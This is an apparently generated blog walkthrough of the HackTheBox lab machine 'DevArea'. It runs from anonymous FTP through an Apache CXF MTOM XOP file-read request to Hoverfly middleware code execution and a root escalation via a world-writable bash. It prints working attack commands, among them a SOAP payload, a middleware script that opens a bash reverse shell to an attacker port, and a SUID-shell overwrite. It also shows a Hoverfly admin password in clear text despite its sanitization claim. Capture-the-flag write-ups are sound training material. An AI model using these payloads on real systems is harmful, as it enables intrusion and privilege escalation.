DevArea - Full
DevArea is a Medium Linux HTB machine featuring a 4-phase attack chain: FTP reconnaissance, Apache CXF SSRF via MTOM (<secret redacted>), Hoverfly middleware RCE, and privilege escalation through a world-writable bash binary. Anonymous FTP login reveals a JAR...
Scenario
DevArea - Full attack path
DevArea is a Medium Linux HTB machine featuring a 4-phase attack chain: FTP reconnaissance, Apache CXF SSRF via MTOM (), Hoverfly middleware RCE, and privilege escalation through a world-writable bash binary. Anonymous FTP login reveals a JAR...
Objective
Machine walkthrough focused on Machines evidence, validation, and reusable operator lessons.
Walkthrough flow
FTP anonymous access reveals employee-service.jar
Apache CXF SOAP service vulnerable to (MTOM XOP...
Hoverfly systemd service leaks admin credentials
Hoverfly middleware RCE gives shell as dev_ryan
/usr/bin/bash is world-writable, exploitable via sudo...
Source coverage
Moderate source coverage
Status: partial. This article is generated from 2 sanitized Markdown sources and keeps raw flags, credentials, keys, cookies, and reusable secrets out of the rendered blog.
Moderate confidence: the page is useful for review, but it should be treated as partial because the available source material is thinner or less narrative-complete.
- <TARGET>-DevArea/walkthrough.md
- HTB/<TARGET>-DevArea/notes.md
Technical Walkthrough
DevArea - Full Walkthrough
Overview
DevArea is a Medium Linux HTB machine featuring a 4-phase attack chain: FTP reconnaissance, Apache CXF SSRF via MTOM (<secret redacted>), Hoverfly middleware RCE, and privilege escalation through a world-writable bash binary.
Phase A: FTP Reconnaissance
Anonymous FTP login reveals a JAR file in the pub directory:
ftp -n <TARGET> <<EOF
user anonymous anonymous
binary
cd pub
mget *
bye
EOFDownloaded: employee-service.jar — decompiling reveals a SOAP endpoint at http://devarea.htb:8080/employeeservice with a submitReport operation.
The WSDL confirms the namespace and operations:
curl -s 'http://devarea.htb:8080/employeeservice?wsdl'Phase B: <secret redacted> - Apache CXF SSRF via MTOM XOP Include
The SOAP service uses Apache CXF with MTOM support. The xop:Include element accepts arbitrary href URIs including file://, allowing server-side file read.
Critical: The request MUST be multipart/related with MIME boundaries. A plain SOAP POST won't trigger the vulnerability.
curl -s "http://devarea.htb:8080/employeeservice" \
-H 'Content-Type: multipart/related; type="application/xop+xml"; boundary="MIMEBoundary"; start="<<email redacted>>"; start-info="text/xml"' \
--data-binary '--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <<email redacted>>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ns2:submitReport xmlns:ns2="http://devarea.htb/">
<arg0>
<content><xop:Include href="file:///etc/systemd/system/hoverfly.service" xmlns:xop="http://www.w3.org/2004/08/xop/include"/></content>
<employeeName>test</employeeName>
<department>test</department>
<confidential>false</confidential>
</arg0>
</ns2:submitReport>
</soap:Body>
</soap:Envelope>
--MIMEBoundary--'The response contains base64-encoded file content. Decoding reveals:
- Hoverfly credentials:
admin:O7IJ27MyyXiU - Service runs as user
dev_ryan - Binary at
/opt/HoverFly/hoverfly
Phase C: Hoverfly Middleware RCE
Step 1: Get JWT Token
curl -s -X POST http://devarea.htb:8888/api/token-auth \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"<redacted>"}'Step 2: Set Middleware (reverse shell)
The script must pass through stdin to stdout AND spawn the shell in background:
curl -s -X PUT "http://devarea.htb:8888/api/v2/hoverfly/middleware" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <JWT>" \
-d '{"binary":"bash","script":"#!/bin/bash\ncat <(cat)\nbash -i >& /dev/tcp/<TARGET>/4444 0>&1 &"}'Step 3: Switch Hoverfly to "modify" mode
In simulate mode, middleware only fires on matched simulations. Modify mode processes all requests:
curl -s -X PUT http://devarea.htb:8888/api/v2/hoverfly/mode \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <JWT>" \
-d '{"mode":"modify"}'Step 4: Start listener and trigger
nc -lvnp 4444 # on attacker
# Trigger via authenticated proxy request:
curl -x http://admin:<email redacted>:8500 http://www.test.com/Result: Shell as dev_ryan. User flag at /home/dev_ryan/user.txt.
Phase D: Privilege Escalation - World-Writable Bash
Discovery
sudo -l
# (root) NOPASSWD: /opt/syswatch/syswatch.sh
ls -la /usr/bin/bash
# -rwxrwxrwx 1 root root 1446024 ... /usr/bin/bash/usr/bin/bash is world-writable. The sudo script (syswatch.sh) uses bash as its interpreter. Overwriting bash with a malicious script and triggering it via sudo gives root code execution.
Exploitation
- Back up bash and switch to dash:
cp /usr/bin/bash /tmp/bash.bak
exec /bin/dash- Kill all bash processes (to release "Text file busy" lock):
/bin/dash -c "killall -9 bash"- Overwrite /usr/bin/bash with exploit:
printf "#!/tmp/bash.bak\ncp /tmp/bash.bak /tmp/rootbash\nchmod 4755 /tmp/rootbash\n" > /usr/bin/bash- Trigger via sudo (runs as root, calls /usr/bin/bash which is now our script):
sudo /opt/syswatch/syswatch.sh --version- Get root:
/tmp/rootbash -p
# euid=0(root)
cat /root/root.txtLessons Learned
- Hoverfly mode matters: Middleware only fires in
modifyorsynthesizemode, NOTsimulatewithout matches. - Middleware validation: Hoverfly tests the middleware script immediately on PUT. The listener must be ready AND the script must handle stdin/stdout properly.
- Text file busy: Cannot overwrite a running binary. Must kill all processes using it first, and be in a different shell (dash) to survive.
- Proxy auth: Port 8500 requires proxy authentication with the admin creds.
Attack Chain Summary
FTP anon -> JAR -> WSDL -> <secret redacted> SSRF -> hoverfly.service -> creds
-> Hoverfly JWT -> middleware RCE -> shell as dev_ryan -> user.txt
-> sudo syswatch.sh -> world-writable /usr/bin/bash -> SUID rootbash -> root.txtSource-Backed Dossier
The sections below are merged from companion Markdown notes for the same case. They are rendered after sanitization so the article stays precise without publishing raw flags, credentials, or target-specific secrets.
Notes
Target Details
- IP: <TARGET>
- Hostname: devarea.htb
- OS: Linux (Ubuntu)
- Difficulty: Medium
- Date: 2026-05-05
- Attacker IP: <TARGET>
Services Discovered (nmap)
| Port | Service | Version |
|---|---|---|
| 21 | FTP | vsftpd 3.0.5 (anonymous login) |
| 22 | SSH | OpenSSH 9.6p1 Ubuntu |
| 80 | HTTP | Apache 2.4.58 (devarea.htb) |
| 8080 | SOAP | Jetty 9.4.27 (Apache CXF) |
| 8500 | Proxy | Hoverfly proxy (authenticated) |
| 8888 | Admin | Hoverfly Dashboard (Go) |
Evidence Ledger
| Time | Action | Finding | Confidence |
|---|---|---|---|
| 05:14 | nmap scan | All 6 ports open as expected | VERIFIED |
| 05:17 | FTP anonymous | Downloaded employee-service.jar | VERIFIED |
| 05:18 | WSDL check | submitReport operation, namespace http://devarea.htb/ | VERIFIED |
| 05:20 | <secret redacted> | SSRF via MTOM XOP Include, read hoverfly.service | VERIFIED |
| 05:20 | Decode service | Creds: admin:O7IJ27MyyXiU, runs as dev_ryan | VERIFIED |
| 05:22 | Hoverfly auth | JWT token obtained | VERIFIED |
| 05:22 | Middleware RCE | Set bash reverse shell middleware | VERIFIED |
| 05:23 | Mode change | Switched from simulate to modify mode | VERIFIED |
| 05:24 | Trigger | Proxy request triggered shell as dev_ryan | VERIFIED |
| 05:24 | User flag | <hash redacted> | CAPTURED |
| 05:25 | sudo -l | Can run /opt/syswatch/syswatch.sh as root NOPASSWD | VERIFIED |
| 05:25 | Bash perms | /usr/bin/bash is world-writable (-rwxrwxrwx) | VERIFIED |
| 05:27 | Privesc | Overwrote bash with SUID cp script, triggered via sudo | VERIFIED |
| 05:28 | Root flag | <hash redacted> | CAPTURED |
Credentials
| Username | Password | Service | Notes |
|---|---|---|---|
| anonymous | (any) | FTP | Anonymous login |
| admin | O7IJ27MyyXiU | Hoverfly (8888/8500) | From systemd service file |
Key Findings
- FTP anonymous access reveals employee-service.jar
- Apache CXF SOAP service vulnerable to <secret redacted> (MTOM XOP SSRF/file read)
- Hoverfly systemd service leaks admin credentials
- Hoverfly middleware RCE gives shell as dev_ryan
- /usr/bin/bash is world-writable, exploitable via sudo syswatch.sh
Flags
- User: <hash redacted>
- Root: <hash redacted>